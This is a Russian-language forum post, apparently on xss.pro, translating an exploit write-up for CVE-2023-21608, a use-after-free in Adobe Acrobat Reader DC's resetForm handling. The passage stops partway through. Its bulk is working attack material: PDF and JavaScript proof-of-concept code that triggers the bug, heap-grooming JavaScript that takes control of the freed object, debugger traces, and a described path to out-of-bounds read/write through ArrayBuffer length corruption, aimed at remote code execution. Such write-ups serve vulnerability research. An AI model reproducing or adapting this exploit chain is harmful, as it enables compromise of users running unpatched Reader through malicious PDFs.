• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Adobe Acrobat Reader - resetForm - CAgg UaF - RCE Exploit - CVE-2023-21608

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия private нодs ETHEREUM и тестов

В этой статье о PDF Reader мы рассмотрим, как использовали уязвимость use-after-free в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе фаззинга популярной программы для чтения PDF. Мы смогли успешно использовать эту уязвимость для удаленного выполнения кода в контексте Adobe Acrobat Reader.

CVE-2023-21608

Тестовый стенд

Версия ОС: Windows 10 Pro 20H2 19042.804
Продукт: Adobe Acrobat Reader DC 2022.003.20258
URL продукта: https://get.adobe.com/reader/otherversions/

POC

Тестовый пример содержит статическое текстовое поле с именем testField, встроенное в PDF-документ.

Код:
5 0 obj
<<
/Type /Annot
/Subtype /Widget
/T (testField)
/FT /Tx
/Rect [0 0 0 0]
>>

Ниже JS код, который и приводит к ошибке:

JavaScript:
var testField = this.getField("testField");

testField.richText = true;
testField.setAction("Calculate", "calculateCallback()");

try { this.resetForm(); } catch (e) {}
try { this.resetForm(); } catch (e) {}  // bug is triggered during this resetForm call

function calculateCallback()
{
  event.__defineGetter__("target", getterFunc);
  event.richValue = this;
}

function getterFunc()
{
  try { Object.defineProperty(testField, "textFont", { value: this }); } catch(e) { }
}

Как же это всё произошло:

Включите функцию page-heap у AcroRd32.exe и откройте файл crash.pdf в Acrobat Adobe Reader DC.

Код:
eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07            mov     eax,dword ptr [edi]  ds:002b:420fefd0=????????

Примечание. Весь анализ и использование, описанные в этом посте, выполняются в Adobe Acrobat Reader DC версии 2022.001.20085 x86.

Stack Trace

Код:
0:000> kb
 # ChildEBP RetAddr      Args to Child             
00 04f6a0fc 6c552a50     00001742 408bcff0 00000000 AcroForm!CAgg::operator[](unsigned short)+0xe
01 04f6a118 6bdfd922     43a38fb8 527e4ff0 408bcff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x30
02 04f6a16c 6bdfd803     43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnum+0xc3
03 04f6a184 692fe993     43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnumWrapper+0x13
WARNING: Stack unwind information not available. Following frames may be wrong.
04 04f6a19c 6c55298c     43a38fb8 6c552a20 04f6a1c8 AcroRd32!DllCanUnloadNow+0xa6553
05 04f6a1e4 6c552c3f     420fefd0 43a38fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
06 04f6a20c 6c552a56     420fefd0 46ed4ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
07 04f6a228 6bdfd922     503d4fb8 45970ff0 46ed4ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
08 04f6a27c 6bdfd803     503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnum+0xc3
09 04f6a294 692fe993     503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnumWrapper+0x13
0a 04f6a2ac 6c55298c     503d4fb8 6c552a20 04f6a2d8 AcroRd32!DllCanUnloadNow+0xa6553
0b 04f6a2f4 6c552c3f     505fafd0 503d4fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
0c 04f6a31c 6c552a56     505fafd0 3d259ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
0d 04f6a338 6bdfd922     4e5dcfb8 4948eff0 3d259ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
0e 04f6a38c 6bdfd803     4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnum+0xc3
0f 04f6a3a4 692fe993     4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnumWrapper+0x13
10 04f6a3bc 6c55298c     4e5dcfb8 6c552a20 04f6a3e8 AcroRd32!DllCanUnloadNow+0xa6553
11 04f6a404 6c552c3f     04f6afa8 4e5dcfb8 00000000 AcroForm!ESValToCAgg_internal+0x447
12 04f6a42c 6c552aea     04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
13 04f6a46c 6c513b35     04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAggWrapper+0x1e
14 04f6a4c8 6bddf79b     48cf2fb8 45230ff0 47cf6ff0 AcroForm!SetRichValueEventProp+0x1f5
15 04f6a534 6bddf5bc     3cdaef58 04f6a68c 04f6a568 EScript!sub_1003F620+0x17b
16 04f6a56c 6bdba592     3cdaef58 04f6a68c 04f6a68c EScript!sub_1003F4E7+0xd5
17 04f6a5a4 6bdba2fe     3cdaef58 04f6a68c 04f6a68c EScript!sub_1001A4D2+0xc0
18 04f6a64c 6bdd8a6b     3cdaef58 04f6a68c 04f6a68c EScript!sub_10019E93+0x46b
19 04f6a690 6bdd4cd7     3cdaef58 04f6aac0 4fdc2fcf EScript!sub_100389D2+0x99
1a 04f6ab00 6bdd246b     3cd5da60 6bdd24c0 00000438 EScript!js_Interpret+0x2828
1b 04f6ab4c 6bdd237b     3cdaef58 04f6ab60 3cdaef58 EScript!sub_10032412+0x59
1c 04f6ab88 6bdd22b0     3cdaef58 04f6abfc 3d1a4100 EScript!sub_10032315+0x66
1d 04f6abbc 6bdbb6b0     3cdaef58 04f6abfc 3d1a4100 EScript!js_Execute+0x7d
1e 04f6ac0c 6bdfa9c6     3cdaef58 04f6ac8c 00000000 EScript!JS_EvaluateUCScriptForPrincipals+0x8b
1f 04f6ac90 6bdfa6cb     3cdaef58 3d1a4100 4c93efd8 EScript!JS_EvaluateUCScript+0x4d
20 04f6ae44 6bdfa046     3d4f9ff0 49488fe0 49f3cff0 EScript!ESExecScript+0x10b
21 04f6ae90 6bdf8e23     3cdacfc0 390b4fb8 49d20fc0 EScript!AESEvaluateScript+0x3d
22 04f6af30 692fcbdf     1f2c0bd0 390b4fb8 49cf4fc0 EScript!ESExecuteScriptWithEvent+0x4a3
23 04f6af58 6c543fd4     1f2c0bd0 00000000 49cf4fc0 AcroRd32!DllCanUnloadNow+0xa479f
24 04f6b03c 6c543270     1f2c0bd0 5135cfa0 00000000 AcroForm!AFCalculateNthFieldEntry_x+0x4b8
25 04f6b074 6c545f65     1f2c0bd0 00000000 00001467 AcroForm!AFPDCalculateFields__internal+0xfd
26 04f6b0b0 6c5c4c37     1f2c0bd0 00000000 1f2c0bd0 AcroForm!AFPDCalculateFields+0x9f
27 04f6b1b0 6c50fa1c     1f2c0bd0 00000000 00000000 AcroForm!ResetForm(_t_PDDoc *, OPAQUE_64_BITS, unsigned short)+0x477
28 04f6b65c 6bdf3fb7     390b4fb8 45fe4ff0 5225afb8 AcroForm!resetFormHandler+0x5fc

Быстрая проверка с помощью команды !heap показывает уязвимость use-after-free.

Код:
0:000> !ext.heap -p -a @edi
    address 420fefd0 found in
    _DPH_HEAP_ROOT @ 7831000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   372134ac:         420fe000             2000
    6e44ab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    770af766 ntdll!RtlDebugFreeHeap+0x0000003e
    770668ae ntdll!RtlpFreeHeap+0x0004e0ce
    770562ed ntdll!RtlpFreeHeapInternal+0x00000783
    77018786 ntdll!RtlFreeHeap+0x00000046
    755d3c9b ucrtbase!_free_base+0x0000001b
    755d3c68 ucrtbase!free+0x00000018
    6c2e7a56 AcroForm!operator delete(void *)+0x0000000b
    6c555f05 AcroForm!sub_20AD5ECD+0x00000038
    6c555e5f AcroForm!sub_20AD5E3B+0x00000024
    6c555e54 AcroForm!sub_20AD5E3B+0x00000019
    6c555e1b AcroForm!sub_20AD5DE9+0x00000032
    6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
    6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
    6c5576c0 AcroForm!CAgg::convert(CAgg::CAggType)+0x00000045
    6c556d10 AcroForm!sub_20AD6CDD+0x00000033
    6c555efd AcroForm!sub_20AD5ECD+0x00000030
    6c555e5f AcroForm!sub_20AD5E3B+0x00000024
    6c555e54 AcroForm!sub_20AD5E3B+0x00000019
    6c555e54 AcroForm!sub_20AD5E3B+0x00000019
    6c555e1b AcroForm!sub_20AD5DE9+0x00000032
    6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
    6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
    6c55766d AcroForm!sub_20AD75F2+0x0000007b
    6c551b9e AcroForm!CAggConvertToESValType(CAgg &)+0x0000001f
    6c551be0 AcroForm!CAggToESVal(_s_ESValRec *, CAgg &)+0x0000003d
    6c5131ce AcroForm!GetRichValueEventProp+0x0000011e
    6bdde176 EScript!sub_1003DF10+0x00000266
    6bde306d EScript!sub_10042FE8+0x00000085
    6bdb50fd EScript!sub_10014B57+0x000005a6
    6bdb4b4a EScript!sub_10014B17+0x00000033
    6bdddcd2 EScript!sub_1003DC6A+0x00000068

На данном этапе, проведя первоначальный анализ, мы решили глубоко погрузиться в анализ первопричины этой ошибки и посмотреть, сможем ли мы использовать ее для достижения RCE в песочнице Adobe Reader.

Следует отметить несколько моментов в этом PoC:

Ошибка возникает во время второго вызова resetForm
resetForm вызывает события вычисления для всех полей, если определен обработчик Calculate.
В обработчике Calculate свойство target объекта события переопределяется пользовательской функцией getterFunc.
Внутри этой функции getterFunc свойство textFont поля переопределяется значением объекта doc.
Это приводит к сбою, когда присваивание event.richValue = this выполняется в обработчике Calculate.
Сбой можно отследить по стеку вызовов до ответственной иерархии вызовов.

Код:
AcroForm!ResetForm                             | this.resetForm()
  AcroForm!AFPDCalculateFields
    AcroForm!AFCalculateNthFieldEntry           
      AcroForm!AFCalculateNthFieldEntry           
    AcroForm!AFCalculateNthFieldEntry           
      |- user defined callback is triggered.   | field Calculate handler invoked
        AcroForm!SetRichValueEventProp         | event.richValue = this

        .. some form of aggregation starts on richValue ..

          AcroForm!EScript_ESObjectEnum_CallbackProc
            AcroForm!CAgg::operator[](unsigned short)

Ошибка возникает, когда внутри SetRichValueEventProp начинается некоторая форма агрегации значений, которая перечисляет назначенный объект this, являющийся экземпляром текущего объекта. Свойства и методы перечисляются рекурсивно с помощью EScript!ESObjectEnum, который принимает обратный вызов, где перечисляемые сведения о свойствах передаются из EScript в AcroForm. Обратный вызов AcroForm!EScript_ESObjectEnum_CallbackProc запускается для каждого перечисляемого свойства. Когда включена функция page-heap, происходит сбой в _DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3) при разыменовании указателя, который является объектом std::map в текущем контексте.

Код:
DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3)
{
  TREE_NODE *Myhead; // eax
  TREE_NODE *Parent; // ecx
  unsigned __int16 v5; // si
  int v6; // eax

  Myhead = this->_Myhead;  // crash location - page-heaps enabled
  Parent = this->_Myhead->_Parent;
  ...
}

После проверки вызывающей функции выяснилось, что функция int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID) отвечает за вставку значения в соответствующую std::map.

Код:
int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID)
{
  ...
  std::map<unsigned short,CAgg>::lower_bound(this, v8, pSomeID);  // Crashing path when page-heap is enabled
  v4 = v9;
  if ( sub_208E95F2(v9, pSomeID) )
  {
    ...
  }
  else
  {
    if ( this->_Mysize == 0x38E38E3 )
      Throw_tree_length_error();
    ...
    *(_DWORD *)a2 = std::map<unsigned short,CAgg>::insert(this, v8[0], (int)v8[1], Parent);
    ...
  }
  return resu

Приведенный выше код показывает, что при вставке значения в std::map создается новое значение CAgg. Тестирование с помощью heap grooming и .dvalloc показало, что функция std::map<unsigned short,CAgg>::insert также позволяет произвольную запись по выбранному адресу. Используя heap grooming, можно получить контроль над поврежденным указателем std::map, используемым в этом контексте, что позволяет дальнейшую эксплуатацию.

Код:
TREE_NODE *__thiscall std::map<unsigned short,CAgg>::insert(TREE_VAL *this, TREE_NODE *a2, int a3, TREE_NODE *a4)
{
 
  ++this->_Mysize;  // write possible here (single increment though)
                    // map length increase
  Myhead = this->_Myhead;
  v5 = a4;
  a4->_Parent = a2;
  if ( a2 != Myhead )
  {
    if ( a3 )
    {
      a2->_Left = a4;  // write is possible here and we can use this to corrupt length property of a ArrayBuffer
                       // mov dword ptr [eax], esi  ds:002b:13fa0000=45454545
      if ( a2 == Myhead->_Left )
        Myhead->_Left = a4;
    }
  }
   ...
}

Используя произвольную запись, можно нарушить длину ArrayBuffer и получить возможность чтения-записи за пределами границ. Это позволяет читать и записывать соответствующие данные из или в ячейки памяти за пределами ArrayBuffer. Дальнейшее изучение показало, что функция AcroForm!CAgg::operator[](unsigned short) вызывала std::map<unsigned short,CAgg>::operator[] с this->map. При исследовании объекта CAgg в отладчике было обнаружено, что он был освобожден и теперь контролируется пользователем. Это открывает возможность для дальнейшей эксплуатации уязвимости.

Код:
// Crash function 2
int __userpurge CAgg::operator[]@<eax>(CAgg *this@<ecx>, bool (*a2)[27]@<ebx>, wchar_t *someID)
{
  ...

  if ( this->type == 0x13 )  // *this == (CAgg::getType) | crashes here with page-heaps
                             // this is the freed pointer
  {
    ...
  }
  else
  {
    ...
    else
    {
      // this path is taken when page-heap is disabled and heap grooming is performed prior to bug trigger
      CAgg::convert(this, a2, 0x14);
      v4 = (_DWORD *)std::map<unsigned short,CAgg>::operator[](this->map, (int)v9, (unsigned __int16 *)&someID);
    }
    return *v4 + 24;
  }
}

Хотя на CAgg не было очевидных примитивов, можно было прочитать его тип с помощью this->type. Функция CAgg::operator[] была вызвана из EScript_ESObjectEnum_CallbackProc, которая запускается для каждого свойства, перечисляемого EScript!ESEnumObject. Это дало некоторое представление о том, как объект был поврежден и потенциально может быть использован.

Код:
int __usercall EScript_ESObjectEnum_CallbackProc@<eax>(
        bool (*ebx0)[27]@<ebx>,
        int a2,
        wchar_t *key_str,
        wchar_t *a4,
        int ***pCAggData)
{
  CAgg **pCagg; // edi
  unsigned __int16 someID; // ax
  CAgg *v7; // eax

  pCagg = (CAgg **)*pCAggData;  // AtomFromString retrieves some integer id from string
                                //
                                // bp AcroForm!sub_20AD2A20+0x22 "da poi(esp); gc"
                                //
  someID = (*(int (__cdecl **)(wchar_t *))(gCoreHFT + 20))(key_str);  // gCoreHFT->ASAtomFromString(a2);
  v7 = (CAgg *)CAgg::operator[]((CAgg *)pCagg, ebx0, (wchar_t *)someID);
  ESValToCAgg(v7, a4, 0);
  return 1;
}

В данном сценарии у нас возникла проблема с объектом pCagg. Этот объект уже был освобожден, но он все еще используется в функции обратного вызова EScript_ESObjectEnum_CallbackProc, где он передается в функцию ESValToCAgg.

Примечание: Эта функция является рекурсивной, поэтому проблема повторяется снова и снова.

Наш анализ показывает, что объекты CAgg выделяются внутри функции std::map<unsigned short,CAgg>::operator[] во время каждого перечисления свойств при установке свойства richValue. Однако в процессе resetForm свойство event.target отлавливается с помощью __defineGetter__. Эта функция вызывается во время рекурсивного перечисления свойств объекта doc. Когда происходит обращение к свойству target, вызывается функция getterFunc, которая переопределяет свойство textFont поля как объект doc. Это также устанавливает его неконфигурируемым и неперечислимым.

Во время второго сброса формы повторяется тот же процесс, но при повторном вызове функции getterFunc возникает исключение, поскольку свойство field.textFont теперь неконфигурируемое. Это вызывает другой путь при доступе к свойству event.richValue, который освобождает все объекты CAgg, которые были построены до сих пор. Путь освобождения кода вызывается, пока еще идет перечисление объектов, а когда оно завершается, запускается использование освобожденного объекта CAgg.

Код:
{
  ...
  v7 = 0;
  v8 = 15;
  LOBYTE(v6[0]) = 0;
  sub_2085ECA0(v6, "EventRichValueInProgress");
  sub_20AAE7D6(v15, a1, (int)v6[0], (int)v6[1], (int)v6[2], (int)v6[3], v7, v8);
  LOBYTE(v16) = 3;
  if ( v13
    && (*(unsigned __int16 (__thiscall **)(_DWORD, wchar_t *, const wchar_t *))(dword_21473CB8 + 180))(
          *(_DWORD *)(dword_21473CB8 + 180),
          v13,
          "richValue") )
  {
    PointerType = (CAgg *)ASCabGetPointerTypeSafe<CAgg *>(v13, (wchar_t *)"richValue", (wchar_t *)"CAgg_P");
    if ( PointerType )
      CAggToESVal(0, v11, PointerType);  // frees all CAggs and maps
  }
  ...
}

Приведенную выше гипотезу можно проверить с помощью отладчика , установив следующие точки останова в WinDbg
Код:
bp AcroForm!resetFormHandler
bp AcroForm!EScript_ESObjectEnum_CallbackProc ".printf \"-- [^] property: %ma - \\n \", poi(esp+8); gc;"
bp AcroForm!uninit_sub_20AA701F+0x25 ".printf \"    - alloc: %p \\n \", @eax; .echo; gc"
bp AcroForm!GetRichValueEventProp+0x119 ".printf \" ------------free code path \\n \"; gc"
bp AcroForm!sub_20AD5DE9 ".printf \"[map] root: %p size %p \\n \", poi(@ecx), poi(@ecx+4); gc;"
bp AcroForm!sub_20AD5DE9+0x36 ".printf \"   [+] PTR_1 freed: %p \\n \", poi(@esi); gc"
bp AcroForm!sub_20AD6CDD+0x3c ".printf \"   [+] PTR_2 freed: %p \\n \", @esi; gc"
bp AcroForm!sub_20AD5ECD+0x33 ".printf \"   [+] block freed: %p \\n \", @esi; gc"
bp AcroForm!ESValToCAgg_internal+0x403 ".printf \"   [+] pData: %p \\n \", @ecx; gc"

Ниже приведен результат вывода трассировки из указанных точек останова.

Код:
[+] pData: 00afb1e8
 -- [^] property: ADBCAnnotEnumerator -
     - alloc: 64b3cfb8

     ... all other properties ....

-- [^] property: textFont -
     - alloc: d41d0fb8                       <- CAgg* allocated here

   [+] pData: d41d0fd0                       <- std::map inside CAgg
 -- [^] property: change -
     - alloc: 6951bfb8

     ... all other properties ....
 
-- [^] property: rc -
     - alloc: c7b8efb8

 ------------free code path
 ...

[map] root: d2d14fb8 size 0000018f
 [map] root: ee802fb8 size 00000041
    [+] block freed: ce58efb8
    [+] block freed: e0dd6fb8
    ...
 [map] root: e4826fb8 size 00000008
    ...
    [+] PTR_1 freed: e4826fb8
    [+] block freed: d41d0fb8                <-  CAgg* freed here
    [+] block freed: c211afb8
    ...
 [map] root: d2bdcfb8 size 00000000
    [+] PTR_1 freed: d2bdcfb8
    [+] block freed: 6c43efb8
    [+] block freed: d3612fb8
    ...

 -- [^] property: richValue -

(1ba0.f80): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 382C19E:0

eax=00afa330 ebx=00000000 ecx=d41d0fd0 edx=7af18ff8 esi=6fa3ef50 edi=d41d0fd0
eip=6e6b6b99 esp=00afa310 ebp=00afa33c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6e6b6b99 8b07            mov     eax,dword ptr [edi]  ds:002b:d41d0fd0=abcdbbba

0:000> dc d41d0fb8
d41d0fb8  00000000 00000000 00000000 00000000  ................
d41d0fc8  00000000 00000000 abcdbbba 07971000  ................
d41d0fd8  00000010 00001000 00000000 00000000  ................
d41d0fe8  09009a6c dcbabbba 00000000 ffffff82  l...............
d41d0ff8  3b5fafc0 c0c0c001 c0c0c0c0 c0c0c0c0  .._;............
d41d1008  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
d41d1018  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................
d41d1028  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0  ................

Внутри отладчика мы видим поврежденный объект std::map pData: d41d0fd0, который является частью освобожденного объекта CAgg, выделенного при перечислении свойства textFont alloc: d41d0fb8. Когда происходит выполнения кода, освобождаются все объекты и объекты map. Позже к этому же указателю обращаются при обработке перечисления свойства richValue, что приводит к состоянию use-after-free. Примечание: Во время тестирования для контроля условия use-after-free мы не обнаружили путей кода, которые позволили бы нам перераспределить освобожденную память таким образом, чтобы это можно было использовать. Однако мы обнаружили, что определенные размеры объектов могут привести к сбою Adobe Acrobat Reader при разыменовании распыленного шаблона, что дает нам возможность использовать ошибку для удаленного выполнения кода (RCE).

Heap Grooming​


Код:
var blockRefs = [];

function groomLFH(size, count) {
  log("[+] Grooming LFH blocks of size: " + size + " count: " + count);

  const code =
      "%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u4141%u4242%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";
  const string = unescape(code);

  for (var i = 0; i < count; i++) {
      blockRefs.push(string.substr(0, (size - 2) / 2).toUpperCase());
  }

  for (var i = 0; i < blockRefs.length; i += 2) {
      blockRefs[i] = null;
      delete blockRefs[i];
  }
}

groomLFH(68, 4000);

При помощи выделения кучи с объектом размером 68 мы смогли контролировать сбой. Размер разрушающегося объекта был первоначально найден методом грубой силы.

Примечание: выделение кучи было выполнено до срабатывания UaF. Мы вернемся к этому позже.

Код:
eax=04b7a854 ebx=04b7a8b4 ecx=42424141 edx=4e4e4d4d esi=6921ef50 edi=42424141
eip=6c3695af esp=04b7a838 ebp=04b7a838 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
AcroForm!CAgg::operator[](unsigned short)+0x3:
6c3695af 8b01            mov     eax,dword ptr [ecx]  ds:002b:42424141=????????

В функции сбоя мы видим, что происходит разыменование значения, контролируемого пользователем.
Как показано ниже, источник распределения можно проверить в WinDbg.

Код:
0:015> !ext.heap -p -a 36f76fb8
    address 36f76fb8 found in
    _DPH_HEAP_ROOT @ 9801000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                36f51924:         36f76fb8               48 -         36f76000             2000
    6fb1a8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    76fbef0e ntdll!RtlDebugAllocateHeap+0x00000039
    76f26150 ntdll!RtlpAllocateHeap+0x000000f0
    76f257fe ntdll!RtlpAllocateHeapInternal+0x000003ee
    76f253fe ntdll!RtlAllocateHeap+0x0000003e
    75d00166 ucrtbase!_malloc_base+0x00000026
    6aaaee40 AcroForm!operator new(unsigned int)+0x0000001a
    6acf7044 AcroForm!sub_20AA701F+0x00000025
    6ad25a56 AcroForm!sub_20AD5A43+0x00000013
    6ad25fba AcroForm!std::map<unsigned short,CAgg>::operator[](unsigned short const&)+0x00000057
    6ad26bc5 AcroForm!CAgg::operator[](unsigned short)+0x0000003a
    6ad22a50 AcroForm!EScript_ESObjectEnum_CallbackProc+0x00000030
    ...
    6ace3b35 AcroForm!SetRichValueEventProp+0x000001f5
    ...

При дальнейшем рассмотрении того, что вызывало контролируемое падение, как груминг кучи перед срабатыванием ошибки, мы заметили, что массив распыленных строковых объектов также используется во время агрегации, когда выполняется resetForm.
Внутри CAggToESVal, когда тип объекта - строка, срабатывает приведенный ниже код, который создает новую строку из CAgg.

Код:
int __usercall CAggToESVal@<eax>(bool (*a1)[27]@<ebx>, wchar_t *a2, CAgg *a3)
{
  ...
  else
    {
      m_str = (_EStrRec **)CAgg::toEStr(a3, a1);
      if ( *m_str )
        v14 = EStrCopyImpl(*m_str);
      else
        v14 = 0;
      if ( EStrGetEncoding((MayBeString *)v14) )
        EStrSetEncoding(v14, 2);
      v15 = dword_21472158;
      Bytes = EStrGetBytes((MayBeString *)v14);
      result = (*((int (__cdecl **)(wchar_t *, int))v15 + 31))(a2, Bytes);  // ESValSetString
      if ( v14 )
        return EStrDelete(v14);
    }
}

Важной деталью, которую следует отметить, является вызов EScript!ESValSetString для создания нового содержимого строки из строкового объекта CAgg (которые являются нашими распыленными строковыми объектами). ESValSetString вызывает sub_1003EBD2 для создания строки с заданным содержимым, который далее отвечает за выделение буфера кучи длиной в строку и копирование в него содержимого исходной строки.

Код:
char **__usercall sub_1003EBD2@<eax>(__int128 a1@<xmm0>, int a2, wchar_t *a3)
{
  ...
  sub_1003E853((int *)a2);
  if ( a3
    && strlen_0(a3, 0x7FFFFFFFu, 0) > 1
    && (*(_BYTE *)a3 == 0xFE && *((_BYTE *)a3 + 1) == 0xFF || *(_BYTE *)a3 == 0xFF && *((_BYTE *)a3 + 1) == 0xFE) )
  {
    v24 = 0;
    v22 = 0x7FFFFFFF;
    _mm_lfence();
    v3 = miStrlen(a3, v22, v24);
    v4 = JS_malloc_Wrapper(*(_DWORD *)a2, v3);  // reallocate freed buffer again when string length is 0x48
    Block = (char *)v4;
    if ( v4 )
    {
      v25 = v3;
      v23 = (char *)v4;
      v21 = (char *)(a3 + 1);
      _mm_lfence();
      swab(v21, v23, v25);
      return JS_NewUCString(a1, *(_DWORD **)a2, Block, v3 / 2 - 1);
    }
    return 0;
  }
  ...
}

В приведенном выше коде JS_malloc_Wrapper перераспределяет освобожденный буфер CAgg при обработке большого количества строк, позволяя нам перераспределить буфер с данными, управляемыми пользователем. Когда этот распыленный буфер позже используется в функциях CAgg::*, это приводит к сбою при разыменовании данных, управляемых пользователем.

Внутренние компоненты SpiderMonkey в EScript.API

Spidermonkey от Firefox - это JavaScript-движок, используемый в Adobe Reader через плагин EScript.API для обработки JavaScript, встроенного в PDF-файлы. Чтобы эффективно использовать эту ошибку, нам необходимо понять, как объекты JavaScript реализованы в Spidermonkey и как организована их память. Spidermonkey использует 64-битное представление для хранения JavaScript native jsval в памяти. Double хранятся в полном 64-битном значении IEEE-754. Другие jsval, такие как числа, строки, объекты и т.д. используют 32-битное представление для маркировки типа и 32-битное для хранения фактического значения (или указателя на объект).

ArrayBuffer

Мы будем использовать ArrayBuffer для распыления контролируемых пользователем данных по предсказуемым адресам и искажения длины произвольно большим целым значением для получения запредельных примитивов чтения-записи. Давайте посмотрим, как он представлен в памяти. Реализация ArrayBuffer имеет 0x10 байт заголовок + содержимое, равное указанному размеру.

Код:
4ef0cbf0  00000000 00000400 3cc31450 00000000  ........P..<.... +0x4: length, +0x8: TypedArray pointer
4ef0cc00  41424344 45464748 00000000 00000000  DCBAHGFE........ actual contents starts here
4ef0cc10  00000000 00000000 00000000 00000000  ................
4ef0cc20  00000000 00000000 00000000 00000000  ................
4ef0cc30  00000000 00000000 00000000 00000000  ................
4ef0cc40  00000000 00000000 00000000 00000000  ................
4ef0cc50  00000000 00000000 00000000 00000000  ................
4ef0cc60  00000000 00000000 00000000 00000000  ................

Длина хранится по смещению 0x4. Если инициализируется TypedArray, то по смещению 0x8 находится указатель на TypedArray. Наконец, у вас есть фактические данные, управляемые пользователем. В EScript.api функция sub_10131A2C отвечает за выделение ArrayBuffer указанной длины. Если размер ArrayBuffer меньше 0x68, то для хранения данных используется встроенное представление. В противном случае создается блок памяти указанного размера и заполняется нулями.

Код:
char __thiscall sub_10131A2C(void **this, int a2, size_t Size, void *Src)
{
  _DWORD *v5; // eax
  void *v7; // eax
  unsigned __int8 v10; // [esp-4h] [ebp-10h]

  if ( Size <= 0x68 )  // if size is less may be inline buffer creation | does not use heap
                       // heap -p -a @buffer failed to show any trace
  {
    this[3] = this + 10;  // address to our ArrayBuffer->buffer | this+0x28
    _mm_lfence();
    if ( Src )
      memcpy(this[3], Src, Size);
    else
      memset(this[3], 0, Size);
    v7 = this[3];
  }
  else
  {
    v10 = 0;
    _mm_lfence();
    v5 = sub_1013153C((wchar_t *)a2, Size, Src, (_DWORD *)v10);
    if ( !v5 )
      return 0;
    v7 = v5 + 4;
    this[3] = v7;
  }
  *((_DWORD *)v7 - 4) = 0;
  *((_DWORD *)v7 - 3) = Size;  // length of the ArrayBuffer
  *((_DWORD *)v7 - 1) = 0;     // typed array pointer initialized to nullptr
  *((_DWORD *)v7 - 2) = 0;
  return 1;

Массивы

Код:
var a = new Array();
a[0] = 0x41424142
a[1] = 0x55555555;
a[2] = "javascript";
a[3] = {};

Мы будем использовать Array для достижения примитива addrOf ( address of ). Ниже приведено представление массива JavaScript в памяти.

Код:
0d9a2678  00000000 00000004 00000006 00000004  ................ 0x0: flag, 0x4: initLength, 0x8: capacity, 0xc: length
0d9a2688  41424142 ffffff81 55555555 ffffff81  BABA....UUUU.... (value, tag) for each value
0d9a2698  0d735fe0 ffffff85 0d9bf200 ffffff87  ._s.............
0d9a26a8  00000000 00000000 00000000 00000000  ................
0d9a26b8  00000000 00000000 00000000 00000000  ................
0d9a26c8  00000000 00000000 00000000 00000000  ................
0d9a26d8  00000000 00000000 00000000 00000000  ................
0d9a26e8  00000000 00000000 00000000 00000000  ................

sub_1004DBA9 в EScript.api отвечает за создание массивов и может отслеживаться при распылении массивов.

Содержимое массива организовано в памяти в виде кортежа (tag, value), где tag используется для идентификации типа, связанного со значением.

Например.
